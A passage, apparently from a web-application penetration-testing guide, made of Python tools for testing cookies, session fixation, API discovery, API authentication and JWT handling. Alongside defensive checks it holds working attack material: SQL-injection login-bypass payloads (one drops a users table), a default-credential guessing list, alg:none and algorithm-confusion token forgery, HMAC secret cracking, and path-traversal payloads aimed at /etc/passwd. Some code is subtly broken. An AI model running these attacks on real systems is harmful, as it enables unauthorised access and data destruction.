for attr in ['path', 'domain', 'expires', 'max-age', 'secure', 'httponly', 'samesite']:
if attr in morsel:
cookie_info['attributes'][attr] = morsel[attr]
cookies[key] = cookie_info
self.cookies = cookies
return cookies
def analyze_all_cookies(self):
"""Analyze all captured cookies"""
results = {}
for cookie_name, cookie_info in self.cookies.items():
issues = self.analyze_cookie(
cookie_name,
cookie_info['value'],
cookie_info['attributes']
)
results[cookie_name] = {
'value': cookie_info['value'][:20] + '...' if len(cookie_info['value']) > 20 else cookie_info['value'],
'attributes': cookie_info['attributes'],
'security_issues': issues,
'risk_level': self.calculate_risk_level(issues)
}
if issues:
self.security_issues.extend(issues)
return results
def calculate_risk_level(self, issues):
"""Calculate risk level based on issues"""
if not issues:
return "Low"
high_risk_indicators = [
'Missing HttpOnly',
'Password in cookie',
'expired',
'wildcard domain'
]
for indicator in high_risk_indicators:
if any(indicator in issue for issue in issues):
return "High"
if len(issues) > 2:
return "Medium"
return "Low"
def check_session_fixation(self, url1, url2):
"""Check if session remains same after login"""
# Get initial session cookie
self.session = requests.Session()
response1 = self.session.get(url1)
initial_cookies = self.capture_cookies(url1)
# Perform login (simulated)
login_data = {'username': 'test', 'password': 'test'}
response2 = self.session.post(url2, data=login_data)
after_login_cookies = self.capture_cookies(url2)
# Compare session cookies
session_cookie_name = None
for cookie in initial_cookies:
if 'session' in cookie.lower() or 'sid' in cookie.lower():
session_cookie_name = cookie
break
if session_cookie_name:
initial_value = initial_cookies.get(session_cookie_name, {}).get('value')
after_value = after_login_cookies.get(session_cookie_name, {}).get('value')
if initial_value == after_value:
return {
'vulnerable': True,
'issue': "Session fixation possible - session ID unchanged after login",
'session_cookie': session_cookie_name,
'initial_value': initial_value,
'after_value': after_value
}
return {'vulnerable': False}
def generate_report(self):
"""Generate cookie security report"""
report = {
'total_cookies': len(self.cookies),
'cookies_with_issues': len([c for c in self.cookies.values() if c.get('security_issues')]),
'security_issues': list(set(self.security_issues)),
'cookie_details': self.analyze_all_cookies(),
'recommendations': []
}
# Generate recommendations
if 'Missing Secure flag' in report['security_issues']:
report['recommendations'].append("Add Secure flag to all cookies to ensure they're only sent over HTTPS")
if 'Missing HttpOnly flag' in report['security_issues']:
report['recommendations'].append("Add HttpOnly flag to prevent JavaScript access")
if 'Missing SameSite attribute' in report['security_issues']:
report['recommendations'].append("Implement SameSite=Lax or Strict to mitigate CSRF")
return report
# Example usage
analyzer = CookieAnalyzer()
cookies = analyzer.capture_cookies('https://example.com/login')
results = analyzer.analyze_all_cookies()
print(json.dumps(results, indent=2))
# Check session fixation
fixation_check = analyzer.check_session_fixation(
'https://example.com/',
'https://example.com/login'
)
print(json.dumps(fixation_check, indent=2))#!/usr/bin/env python3
# session_tester.py
import requests
import time
import hashlib
import random
import string
from concurrent.futures import ThreadPoolExecutor
class SessionTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def test_session_timeout(self, session_cookie_name, timeout_seconds=1800):
"""Test session timeout behavior"""
# Get initial session
response = self.session.get(self.base_url)
initial_cookie = response.cookies.get(session_cookie_name)
if not initial_cookie:
return {"error": "No session cookie found"}
results = {
'cookie_name': session_cookie_name,
'initial_value': initial_cookie,
'timeout_tests': []
}
# Test at different intervals
intervals = [300, 600, 1800, 3600, 7200] # 5min, 10min, 30min, 1hr, 2hr
for interval in intervals:
if interval > timeout_seconds:
break
print(f"[*] Waiting {interval} seconds...")
time.sleep(interval)
# Make request with same session
response = self.session.get(self.base_url)
current_cookie = response.cookies.get(session_cookie_name)
results['timeout_tests'].append({
'interval': interval,
'cookie_valid': current_cookie == initial_cookie,
'status_code': response.status_code
})
return results
def test_session_fixation(self, login_url, username, password):
"""Test for session fixation vulnerabilities"""
results = {
'vulnerabilities': [],
'tests': []
}
# Test 1: Pre-login session persists after login
print("[*] Testing session persistence after login")
# Get pre-login session
pre_login = requests.Session()
response = pre_login.get(self.base_url)
pre_session = dict(response.cookies)
# Perform login
login_response = pre_login.post(login_url, data={
'username': username,
'password': password
})
# Check if session changed
post_session = dict(login_response.cookies)
if pre_session == post_session:
results['vulnerabilities'].append({
'type': 'Session Fixation',
'description': 'Session ID remains same before and after login',
'pre_login': pre_session,
'post_login': post_session
})
results['tests'].append({
'name': 'Pre/Post Login Session',
'vulnerable': pre_session == post_session
})
# Test 2: Accept arbitrary session IDs
print("[*] Testing acceptance of arbitrary session IDs")
arbitrary_sessions = []
for i in range(5):
# Generate random session ID
random_sid = hashlib.md5(str(random.random()).encode()).hexdigest()
test_session = requests.Session()
test_session.cookies.set('session', random_sid)
response = test_session.get(self.base_url)
if response.status_code == 200:
arbitrary_sessions.append(random_sid)
if arbitrary_sessions:
results['vulnerabilities'].append({
'type': 'Arbitrary Session Acceptance',
'description': 'Server accepts arbitrary session IDs',
'examples': arbitrary_sessions[:3]
})
results['tests'].append({
'name': 'Arbitrary Session Acceptance',
'vulnerable': len(arbitrary_sessions) > 0,
'count': len(arbitrary_sessions)
})
# Test 3: Session fixation via URL
print("[*] Testing session fixation via URL")
# Try to set session via URL parameter
test_sid = 'fixed_session_123'
url_with_sid = f"{self.base_url}?sessionid={test_sid}"
response = self.session.get(url_with_sid)
if response.cookies.get('session') == test_sid:
results['vulnerabilities'].append({
'type': 'URL-Based Session Fixation',
'description': 'Session ID accepted via URL parameter',
'url': url_with_sid
})
return results
def test_session_concurrency(self, session_cookie_name, num_sessions=5):
"""Test concurrent session handling"""
sessions = []
# Create multiple sessions
for i in range(num_sessions):
s = requests.Session()
s.get(self.base_url)
sessions.append(s)
results = {
'active_sessions': num_sessions,
'concurrent_access': []
}
# Try to use all sessions concurrently
def use_session(session, request_id):
try:
response = session.get(f"{self.base_url}/profile")
return {
'request_id': request_id,
'status': response.status_code,
'success': True
}
except Exception as e:
return {
'request_id': request_id,
'status': 'error',
'error': str(e)
}
with ThreadPoolExecutor(max_workers=num_sessions) as executor:
futures = []
for i, session in enumerate(sessions):
future = executor.submit(use_session, session, i)
futures.append(future)
for future in futures:
result = future.result()
results['concurrent_access'].append(result)
# Check if any sessions were invalidated
success_count = sum(1 for r in results['concurrent_access'] if r.get('success', False))
if success_count < num_sessions:
results['limitation'] = f"Only {success_count}/{num_sessions} sessions allowed concurrently"
return results
def test_session_logout(self):
"""Test session invalidation on logout"""
results = {
'tests': []
}
# Create authenticated session
auth_session = requests.Session()
# Assume we have login function
# auth_session.post(f"{self.base_url}/login", data=...)
# Get protected page before logout
# pre_response = auth_session.get(f"{self.base_url}/dashboard")
# Perform logout
# logout_response = auth_session.get(f"{self.base_url}/logout")
# Try to access protected page again
# post_response = auth_session.get(f"{self.base_url}/dashboard")
# Check if old session still works
# if post_response.status_code == 200:
# results['vulnerabilities'].append("Session not invalidated on logout")
return results
# Example usage
tester = SessionTester('https://example.com')
fixation_results = tester.test_session_fixation(
'https://example.com/login',
'testuser',
'testpass'
)
print(json.dumps(fixation_results, indent=2))RESTful APIs have become the standard for web services and present unique security challenges.
#!/usr/bin/env python3
# api_discovery.py
import requests
import json
import re
from urllib.parse import urljoin, urlparse
class APIDiscovery:
def __init__(self, base_url):
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
self.discovered_endpoints = set()
self.api_patterns = []
def discover_from_js(self, js_url):
"""Discover API endpoints from JavaScript files"""
try:
response = self.session.get(js_url)
if response.status_code == 200:
content = response.text
# Look for API patterns in JS
patterns = [
r'["\'](/api/[^"\']+)["\']',
r'["\'](/v[0-9]+/[^"\']+)["\']',
r'["\'](/graphql)[^"\']*["\']',
r'["\'](/rest/[^"\']+)["\']',
r'fetch\(["\']([^"\']+)["\']',
r'axios\.(?:get|post|put|delete)\(["\']([^"\']+)["\']',
r'url:\s*["\']([^"\']+)["\']',
r'endpoint:\s*["\']([^"\']+)["\']'
]
for pattern in patterns:
matches = re.findall(pattern, content)
for match in matches:
if match.startswith('/'):
full_url = urljoin(self.base_url, match)
elif match.startswith('http'):
full_url = match
else:
full_url = urljoin(self.base_url, '/' + match)
self.discovered_endpoints.add(full_url)
except Exception as e:
print(f"Error processing {js_url}: {e}")
def discover_from_html(self, html_url):
"""Discover API endpoints from HTML"""
try:
response = self.session.get(html_url)
if response.status_code == 200:
content = response.text
# Look for API-related elements
patterns = [
r'action=["\']([^"\']+)["\']',
r'href=["\']([^"\']+\.(?:json|xml|api))["\']',
r'data-api=["\']([^"\']+)["\']',
r'data-endpoint=["\']([^"\']+)["\']'
]
for pattern in patterns:
matches = re.findall(pattern, content, re.IGNORECASE)
for match in matches:
if 'api' in match.lower() or 'v1' in match.lower() or 'v2' in match.lower():
full_url = urljoin(self.base_url, match)
self.discovered_endpoints.add(full_url)
except Exception as e:
print(f"Error processing {html_url}: {e}")
def discover_from_common_paths(self):
"""Try common API paths"""
common_paths = [
'/api',
'/api/v1',
'/api/v2',
'/api/v3',
'/v1',
'/v2',
'/rest',
'/rest/v1',
'/graphql',
'/swagger',
'/swagger-ui',
'/swagger.json',
'/swagger.yaml',
'/api-docs',
'/docs',
'/documentation',
'/openapi.json',
'/api/swagger',
'/api/documentation',
'/api/docs',
'/api/explorer',
'/api-console',
'/api/v1/documentation',
'/swagger/index.html',
'/swagger-ui.html',
'/api/swagger-ui',
'/api/swagger.json',
'/api/swagger.yaml',
'/api/v1/swagger.json',
'/api/v2/swagger.json',
'/.well-known/openid-configuration',
'/oauth/token',
'/oauth/authorize',
'/token',
'/authorize',
'/login/oauth',
'/api/oauth',
'/api/token',
'/api/users',
'/api/user',
'/api/accounts',
'/api/account',
'/api/admin',
'/api/health',
'/api/status',
'/api/metrics',
'/api/info',
'/api/version',
'/api/config',
'/api/settings',
'/api/profile',
'/api/profiles',
'/api/auth',
'/api/login',
'/api/logout',
'/api/register',
'/api/signup',
'/api/search',
'/api/query',
'/api/upload',
'/api/download',
'/api/export',
'/api/import',
'/api/data',
'/api/db',
'/api/database',
'/api/storage',
'/api/files',
'/api/images',
'/api/media'
]
for path in common_paths:
url = urljoin(self.base_url, path)
try:
response = self.session.get(url, timeout=3)
if response.status_code != 404:
self.discovered_endpoints.add(url)
# Try common methods
for method in ['POST', 'PUT', 'DELETE', 'PATCH']:
try:
resp = self.session.request(method, url, timeout=2)
if resp.status_code != 404 and resp.status_code != 405:
self.api_patterns.append({
'url': url,
'method': method,
'status': resp.status_code
})
except:
pass
except:
pass
def discover_from_headers(self, url):
"""Discover API info from response headers"""
try:
response = self.session.get(url)
headers = response.headers
# Look for API-related headers
api_headers = [
'X-API-Version',
'API-Version',
'X-API-Key',
'X-API-Endpoint',
'X-RateLimit-Limit',
'X-RateLimit-Remaining',
'X-RateLimit-Reset'
]
for header in api_headers:
if header in headers:
self.api_patterns.append({
'type': 'header',
'name': header,
'value': headers[header]
})
except:
pass
def enumerate_endpoints(self):
"""Run all discovery methods"""
print(f"[*] Starting API discovery for {self.base_url}")
# Try common paths first
self.discover_from_common_paths()
# Get main page and scan for endpoints
try:
response = self.session.get(self.base_url)
if response.status_code == 200:
# Extract JavaScript files
js_pattern = r'src=["\']([^"\']+\.js)["\']'
js_files = re.findall(js_pattern, response.text)
for js in js_files[:10]: # Limit to first 10 JS files
js_url = urljoin(self.base_url, js)
print(f" [*] Scanning JS: {js}")
self.discover_from_js(js_url)
# Scan HTML for API hints
self.discover_from_html(self.base_url)
except Exception as e:
print(f"Error fetching base URL: {e}")
# Check headers
self.discover_from_headers(self.base_url)
# Common API documentation tools
doc_tools = [
'/swagger-ui',
'/api-docs',
'/docs',
'/graphiql',
'/graphql/console'
]
for tool in doc_tools:
url = urljoin(self.base_url, tool)
try:
response = self.session.get(url, timeout=3)
if response.status_code == 200:
self.discovered_endpoints.add(url)
print(f" [+] Found API documentation: {url}")
except:
pass
return {
'base_url': self.base_url,
'endpoints': list(self.discovered_endpoints),
'api_patterns': self.api_patterns,
'total_endpoints': len(self.discovered_endpoints)
}
def test_endpoint_methods(self, endpoint):
"""Test HTTP methods on discovered endpoint"""
methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS', 'HEAD']
results = {}
for method in methods:
try:
response = self.session.request(method, endpoint, timeout=3)
results[method] = {
'status_code': response.status_code,
'content_type': response.headers.get('Content-Type', ''),
'body_length': len(response.text)
}
except Exception as e:
results[method] = {'error': str(e)}
return results
# Example usage
discovery = APIDiscovery('https://example.com')
results = discovery.enumerate_endpoints()
print(json.dumps(results, indent=2))
# Test discovered endpoints
for endpoint in list(results['endpoints'])[:5]:
methods = discovery.test_endpoint_methods(endpoint)
print(f"\n[*] Testing {endpoint}")
print(json.dumps(methods, indent=2))#!/usr/bin/env python3
# api_auth_testing.py
import requests
import json
import base64
import hashlib
import hmac
import time
class APIAuthTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
self.auth_methods = {}
def test_basic_auth(self, endpoint, credentials_list):
"""Test HTTP Basic Authentication"""
results = []
for creds in credentials_list:
username = creds.get('username', '')
password = creds.get('password', '')
# Create Basic Auth header
auth_string = f"{username}:{password}"
encoded = base64.b64encode(auth_string.encode()).decode()
headers = {'Authorization': f'Basic {encoded}'}
try:
response = self.session.get(
f"{self.base_url}{endpoint}",
headers=headers,
allow_redirects=False
)
results.append({
'username': username,
'password': password,
'status_code': response.status_code,
'success': response.status_code == 200
})
except Exception as e:
results.append({
'username': username,
'password': password,
'error': str(e)
})
return results
def test_bearer_token(self, endpoint, tokens):
"""Test Bearer token authentication"""
results = []
for token in tokens:
headers = {'Authorization': f'Bearer {token}'}
try:
response = self.session.get(
f"{self.base_url}{endpoint}",
headers=headers
)
results.append({
'token': token[:20] + '...' if len(token) > 20 else token,
'status_code': response.status_code,
'success': response.status_code == 200
})
except Exception as e:
results.append({
'token': token[:20] + '...',
'error': str(e)
})
return results
def test_api_key(self, endpoint, api_keys, key_name='X-API-Key'):
"""Test API key authentication (header-based)"""
results = []
for api_key in api_keys:
headers = {key_name: api_key}
try:
response = self.session.get(
f"{self.base_url}{endpoint}",
headers=headers
)
results.append({
'key': api_key[:20] + '...' if len(api_key) > 20 else api_key,
'status_code': response.status_code,
'success': response.status_code == 200
})
except Exception as e:
results.append({
'key': api_key[:20] + '...',
'error': str(e)
})
return results
def test_jwt_token(self, token):
"""Analyze JWT token structure"""
parts = token.split('.')
if len(parts) != 3:
return {'error': 'Invalid JWT format'}
analysis = {}
# Decode header
try:
header = base64.urlsafe_b64decode(parts[0] + '==').decode()
analysis['header'] = json.loads(header)
except:
analysis['header_error'] = 'Could not decode header'
# Decode payload
try:
payload = base64.urlsafe_b64decode(parts[1] + '==').decode()
analysis['payload'] = json.loads(payload)
except:
analysis['payload_error'] = 'Could not decode payload'
# Check signature (placeholder)
analysis['signature_present'] = bool(parts[2])
# Security checks
if 'payload' in analysis:
payload = analysis['payload']
# Check algorithm
if 'header' in analysis:
alg = analysis['header'].get('alg', '')
if alg == 'none':
analysis['security_issues'].append('alg: none - insecure')
elif alg == 'HS256':
analysis['security_notes'].append('Symmetric signing - check key strength')
# Check expiration
exp = payload.get('exp')
if exp:
if exp < time.time():
analysis['security_issues'].append('Token expired')
else:
time_left = exp - time.time()
if time_left > 86400 * 7: # 7 days
analysis['security_issues'].append(f'Long-lived token: {time_left/86400:.1f} days')
# Check for sensitive data
sensitive_fields = ['password', 'secret', 'key', 'token', 'credit', 'ssn']
for field in sensitive_fields:
if field in payload:
analysis['security_issues'].append(f'Sensitive field in payload: {field}')
return analysis
def test_oauth_flows(self, auth_url, token_url, client_id, client_secret):
"""Test OAuth 2.0 implementation"""
results = {}
# Test implicit grant (if applicable)
implicit_url = f"{auth_url}?response_type=token&client_id={client_id}&redirect_uri={self.base_url}/callback"
try:
response = self.session.get(implicit_url, allow_redirects=False)
results['implicit_grant'] = {
'status_code': response.status_code,
'location': response.headers.get('Location', '')
}
except Exception as e:
results['implicit_grant'] = {'error': str(e)}
# Test authorization code grant
code_url = f"{auth_url}?response_type=code&client_id={client_id}&redirect_uri={self.base_url}/callback"
try:
response = self.session.get(code_url, allow_redirects=False)
results['code_grant'] = {
'status_code': response.status_code,
'location': response.headers.get('Location', '')
}
# Extract code if present
location = response.headers.get('Location', '')
if 'code=' in location:
import urllib.parse
parsed = urllib.parse.urlparse(location)
params = urllib.parse.parse_qs(parsed.query)
code = params.get('code', [None])[0]
if code:
# Try to exchange code for token
token_data = {
'grant_type': 'authorization_code',
'code': code,
'redirect_uri': f"{self.base_url}/callback",
'client_id': client_id,
'client_secret': client_secret
}
token_response = self.session.post(token_url, data=token_data)
results['token_exchange'] = {
'status_code': token_response.status_code,
'response': token_response.text[:200] if token_response.text else ''
}
except Exception as e:
results['code_grant'] = {'error': str(e)}
return results
# Example usage
tester = APIAuthTester('https://api.example.com')
# Test basic auth
basic_results = tester.test_basic_auth('/protected', [
{'username': 'admin', 'password': 'admin'},
{'username': 'admin', 'password': 'password123'},
{'username': 'user', 'password': 'userpass'}
])
# Test JWT
jwt_analysis = tester.test_jwt_token('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c')
print(json.dumps(basic_results, indent=2))
print(json.dumps(jwt_analysis, indent=2))Understanding different authentication mechanisms is crucial for identifying vulnerabilities.
#!/usr/bin/env python3
# auth_bypass.py
import requests
import itertools
class AuthBypassTester:
def __init__(self, target_url, login_field='username', password_field='password'):
self.target_url = target_url
self.login_field = login_field
self.password_field = password_field
self.session = requests.Session()
def test_sql_injection_auth(self):
"""Test SQL injection in authentication"""
payloads = [
"' OR '1'='1",
"' OR 1=1--",
"' OR '1'='1'--",
"' OR '1'='1'#",
"admin'--",
"admin' #",
"' OR 1=1 LIMIT 1--",
"' UNION SELECT 1, 'admin', 'password'--",
"'; DROP TABLE users--",
"admin' AND 1=1--"
]
results = []
for payload in payloads:
data = {
self.login_field: payload,
self.password_field: 'anything'
}
try:
response = self.session.post(self.target_url, data=data, allow_redirects=False)
results.append({
'payload': payload,
'status_code': response.status_code,
'location': response.headers.get('Location', ''),
'bypass': response.status_code == 302 or 'welcome' in response.text.lower()
})
except Exception as e:
results.append({
'payload': payload,
'error': str(e)
})
return results
def test_default_credentials(self):
"""Test default credentials"""
defaults = [
('admin', 'admin'),
('admin', 'password'),
('admin', '123456'),
('administrator', 'administrator'),
('root', 'root'),
('root', 'toor'),
('user', 'user'),
('test', 'test'),
('guest', 'guest'),
('admin', 'password123'),
('admin', 'admin123'),
('admin', '12345'),
('admin', '1234'),
('admin', '12345678'),
('admin', 'qwerty'),
('admin', 'abc123'),
('admin', 'letmein'),
('admin', 'welcome'),
('admin', 'monkey'),
('admin', 'dragon'),
('admin', 'master'),
('admin', 'hello'),
('admin', 'freedom'),
('admin', 'whatever'),
('admin', 'qazwsx'),
('admin', 'trustno1'),
('admin', '000000'),
('admin', '111111'),
('admin', 'passw0rd'),
('admin', 'password1'),
('admin', 'admin1234'),
('admin', '123456789'),
('admin', '987654321'),
('admin', '654321'),
('admin', '555555'),
('admin', '7777777'),
('admin', '888888'),
('admin', '999999'),
('admin', '123123'),
('admin', '123321'),
('admin', '123qwe'),
('admin', 'qwe123'),
('admin', '1q2w3e4r'),
('admin', '1qaz2wsx'),
('admin', 'zaq1xsw2'),
('admin', 'zxcvbnm'),
('admin', 'qwertyuiop'),
('admin', 'asdfghjkl'),
('admin', 'foobar'),
('admin', 'nimda'),
('admin', 'adminadmin'),
('admin', 'adm1n'),
('admin', 'adm!n'),
('admin', 'admin!'),
('admin', 'root123'),
('admin', 'toor123')
]
results = []
for username, password in defaults:
data = {
self.login_field: username,
self.password_field: password
}
try:
response = self.session.post(self.target_url, data=data, allow_redirects=False)
if response.status_code == 302 or 'welcome' in response.text.lower():
results.append({
'username': username,
'password': password,
'success': True
})
except:
pass
return results
def test_parameter_pollution(self):
"""Test HTTP parameter pollution in auth"""
# Test duplicate parameters
test_cases = [
f"{self.login_field}=admin&{self.login_field}=admin'--",
f"{self.login_field}=admin&password=anything&password=anything",
f"{self.login_field}=admin&{self.password_field}=wrong&{self.password_field}=right"
]
results = []
for params in test_cases:
url = f"{self.target_url}?{params}"
try:
response = self.session.get(url)
results.append({
'params': params,
'status_code': response.status_code,
'interesting': 'admin' in response.text or 'welcome' in response.text
})
except Exception as e:
results.append({
'params': params,
'error': str(e)
})
return results
def test_verb_tampering(self):
"""Test HTTP verb tampering for auth bypass"""
methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'HEAD', 'OPTIONS']
results = {}
for method in methods:
try:
if method == 'GET':
response = self.session.get(self.target_url)
elif method == 'POST':
response = self.session.post(self.target_url, data={'test': 'data'})
elif method == 'PUT':
response = self.session.put(self.target_url, data={'test': 'data'})
elif method == 'DELETE':
response = self.session.delete(self.target_url)
elif method == 'PATCH':
response = self.session.patch(self.target_url, data={'test': 'data'})
elif method == 'HEAD':
response = self.session.head(self.target_url)
elif method == 'OPTIONS':
response = self.session.options(self.target_url)
results[method] = {
'status_code': response.status_code,
'content_length': len(response.text) if method != 'HEAD' else 'N/A'
}
except Exception as e:
results[method] = {'error': str(e)}
return results
def test_session_cookie_weakness(self):
"""Test for weak session cookie generation"""
cookies = []
# Collect multiple session cookies
for i in range(10):
session = requests.Session()
session.get(self.target_url)
cookie = session.cookies.get_dict()
if cookie:
cookies.append(cookie)
if not cookies:
return {'error': 'No cookies found'}
analysis = {
'cookie_count': len(cookies),
'unique_cookies': len(set(str(c) for c in cookies)),
'analysis': []
}
# Check for patterns
import re
for cookie in cookies:
for name, value in cookie.items():
# Check for predictable patterns
if re.match(r'^\d+$', value):
analysis['analysis'].append({
'cookie': name,
'value': value,
'pattern': 'numeric - potentially predictable'
})
elif re.match(r'^[a-f0-9]{32}$', value):
analysis['analysis'].append({
'cookie': name,
'pattern': 'MD5 hash - check predictability'
})
elif len(value) < 16:
analysis['analysis'].append({
'cookie': name,
'pattern': f'short length ({len(value)}) - potentially weak'
})
return analysis
def test_remember_me_functionality(self):
"""Test remember me functionality security"""
# First login with remember me
data = {
self.login_field: 'test',
self.password_field: 'test',
'remember': 'on'
}
response = self.session.post(self.target_url, data=data)
cookies = self.session.cookies.get_dict()
# Analyze persistent cookies
persistent_cookies = []
for name, value in cookies.items():
# Check for long-lived cookies
# This is simplified - actual implementation would need to check expiry
if 'remember' in name.lower() or 'persist' in name.lower():
persistent_cookies.append({
'name': name,
'value': value[:20] + '...' if len(value) > 20 else value,
'length': len(value)
})
return persistent_cookies
# Example usage
tester = AuthBypassTester('https://example.com/login')
print("[*] Testing SQL injection auth bypass...")
sql_results = tester.test_sql_injection_auth()
for result in sql_results:
if result.get('bypass'):
print(f" [+] Possible bypass with: {result['payload']}")
print("\n[*] Testing default credentials...")
default_results = tester.test_default_credentials()
if default_results:
for cred in default_results:
print(f" [+] Found working credentials: {cred['username']}:{cred['password']}")
print("\n[*] Testing session cookie weakness...")
cookie_analysis = tester.test_session_cookie_weakness()
print(json.dumps(cookie_analysis, indent=2))JWT has become a popular method for stateless authentication but introduces specific security considerations.
#!/usr/bin/env python3
# jwt_tester.py
import jwt
import json
import requests
import base64
import hmac
import hashlib
import time
class JWTTester:
def __init__(self):
self.vulnerabilities = []
def decode_jwt(self, token):
"""Decode JWT without verification"""
try:
parts = token.split('.')
if len(parts) != 3:
return {'error': 'Invalid JWT format'}
# Decode header
header = base64.urlsafe_b64decode(parts[0] + '==').decode('utf-8')
header = json.loads(header)
# Decode payload
payload = base64.urlsafe_b64decode(parts[1] + '==').decode('utf-8')
payload = json.loads(payload)
return {
'header': header,
'payload': payload,
'signature': parts[2]
}
except Exception as e:
return {'error': str(e)}
def test_none_algorithm(self, token):
"""Test 'none' algorithm vulnerability"""
decoded = self.decode_jwt(token)
if 'error' in decoded:
return {'error': 'Invalid token'}
# Create token with alg:none
header = decoded['header'].copy()
header['alg'] = 'none'
# Encode without signature
header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(json.dumps(decoded['payload']).encode()).decode().rstrip('=')
modified_token = f"{header_b64}.{payload_b64}."
return {
'original_token': token,
'modified_token': modified_token,
'test_url': '/api/protected', # This would be configured
'vulnerability': 'alg:none' if self.test_token(modified_token) else None
}
def test_algorithm_confusion(self, token, public_key):
"""Test algorithm confusion (RS256 -> HS256)"""
try:
# Try to verify with HS256 using public key as secret
decoded = self.decode_jwt(token)
# Change algorithm to HS256
header = decoded['header'].copy()
header['alg'] = 'HS256'
# Create new token with HS256 using public key
modified_token = jwt.encode(
decoded['payload'],
public_key,
algorithm='HS256',
headers=header
)
return {
'original_token': token,
'modified_token': modified_token,
'vulnerability': 'algorithm_confusion'
}
except Exception as e:
return {'error': str(e)}
def test_weak_secret(self, token, wordlist_file):
"""Test for weak HMAC secret"""
decoded = self.decode_jwt(token)
if 'error' in decoded or decoded['header'].get('alg') not in ['HS256', 'HS384', 'HS512']:
return {'error': 'Not an HMAC token'}
# Extract parts
header_b64 = token.split('.')[0]
payload_b64 = token.split('.')[1]
signature = token.split('.')[2]
message = f"{header_b64}.{payload_b64}".encode()
target_sig = base64.urlsafe_b64decode(signature + '==')
# Try common weak secrets
weak_secrets = [
'secret', 'password', '123456', 'admin', 'key', 'token',
'secretkey', 'jwtsecret', 'mysecret', 'changeme'
]
try:
with open(wordlist_file, 'r') as f:
weak_secrets.extend([line.strip() for line in f.readlines()[:1000]])
except:
pass
for secret in weak_secrets:
try:
calculated = hmac.new(
secret.encode(),
message,
hashlib.sha256
).digest()
if hmac.compare_digest(calculated, target_sig):
return {
'secret_found': secret,
'token': token,
'vulnerability': 'weak_hmac_secret'
}
except:
pass
return {'error': 'Secret not found in wordlist'}
def test_token_expiration(self, token):
"""Check token expiration handling"""
decoded = self.decode_jwt(token)
if 'error' in decoded:
return {'error': 'Invalid token'}
payload = decoded['payload']
expiration_issues = []
# Check if exp claim exists
if 'exp' not in payload:
expiration_issues.append("No expiration claim (exp)")
else:
exp = payload['exp']
current_time = int(time.time())
if exp < current_time:
expiration_issues.append("Token is expired")
elif exp - current_time > 86400 * 30: # 30 days
expiration_issues.append(f"Long-lived token: {(exp-current_time)/86400:.1f} days")
# Check if nbf claim exists
if 'nbf' in payload:
nbf = payload['nbf']
if nbf > current_time:
expiration_issues.append("Token not yet valid (nbf in future)")
return {
'has_expiration': 'exp' in payload,
'has_not_before': 'nbf' in payload,
'issues': expiration_issues
}
def test_kid_injection(self, token):
"""Test KID (Key ID) header injection"""
decoded = self.decode_jwt(token)
if 'error' in decoded:
return {'error': 'Invalid token'}
header = decoded['header']
if 'kid' not in header:
return {'message': 'No KID header present'}
kid = header['kid']
# Test for SQL injection in KID
sql_payloads = ["'", "';--", "' OR '1'='1"]
vulnerabilities = []
for payload in sql_payloads:
modified_header = header.copy()
modified_header['kid'] = kid + payload
# Create modified token
header_b64 = base64.urlsafe_b64encode(json.dumps(modified_header).encode()).decode().rstrip('=')
payload_b64 = token.split('.')[1]
modified_token = f"{header_b64}.{payload_b64}."
vulnerabilities.append({
'payload': payload,
'modified_token': modified_token
})
# Test for path traversal in KID
path_payloads = [
'../../../../etc/passwd',
'/etc/passwd',
'../../../dev/null'
]
for payload in path_payloads:
modified_header = header.copy()
modified_header['kid'] = payload
header_b64 = base64.urlsafe_b64encode(json.dumps(modified_header).encode()).decode().rstrip('=')
modified_token = f"{header_b64}.{token.split('.')[1]}."
vulnerabilities.append({
'type': 'path_traversal',
'payload': payload,
'modified_token': modified_token
})
return vulnerabilities
def test_jwk_injection(self, token):
"""Test JWK (JSON Web Key) header injection"""
decoded = self.decode_jwt(token)
if 'error' in decoded:
return {'error': 'Invalid token'}
header = decoded['header']
# Check if jwk, jku, or x5u headers are present
injection_points = []
if 'jwk' in header:
injection_points.append('jwk')
if 'jku' in header:
injection_points.append('jku')
if 'x5u' in header:
injection_points.append('x5u')
if not injection_points:
return {'message': 'No JWK-related headers present'}
return {
'injection_points': injection_points,
'vulnerability': 'jwk_injection_possible',
'recommendation': 'Validate JWK/JKU URLs against whitelist'
}
def test_token(self, token, url):
"""Test if token is accepted by the server"""
try:
headers = {'Authorization': f'Bearer {token}'}
response = requests.get(url, headers=headers)
return response.status_code == 200
except:
return False
def generate_report(self, token, url, public_key=None, wordlist=None):
"""Generate comprehensive JWT security report"""
report = {
'token': token,
'decoded': self.decode_jwt(token),
'vulnerabilities': [],
'recommendations': []
}
# Test expiration
exp_test = self.test_token_expiration(token)
if exp_test['issues']:
report['vulnerabilities'].append({
'type': 'expiration_issues',
'details': exp_test['issues']
})
report['recommendations'].append("Implement proper expiration (exp) and not-before (nbf) claims")
# Test none algorithm
none_test = self.test_none_algorithm(token)
if none_test.get('vulnerability'):
report['vulnerabilities'].append({
'type': 'none_algorithm',
'details': 'Server accepts alg:none tokens'
})
report['recommendations'].append("Reject tokens with alg:none")
# Test algorithm confusion if public key provided
if public_key:
confusion_test = self.test_algorithm_confusion(token, public_key)
if 'vulnerability' in confusion_test:
report['vulnerabilities'].append({
'type': 'algorithm_confusion',
'details': 'Server accepts algorithm downgrade attacks'
})
report['recommendations'].append("Validate algorithm matches expected value")
# Test weak secret if wordlist provided and HMAC token
if wordlist and report['decoded'].get('header', {}).get('alg', '').startswith('HS'):
weak_secret_test = self.test_weak_secret(token, wordlist)
if 'secret_found' in weak_secret_test:
report['vulnerabilities'].append({
'type': 'weak_hmac_secret',
'details': f"Secret found: {weak_secret_test['secret_found']}"
})
report['recommendations'].append("Use strong, randomly generated secrets")
# Test KID injection
kid_test = self.test_kid_injection(token)
if isinstance(kid_test, list) and kid_test:
report['vulnerabilities'].append({
'type': 'kid_injection',
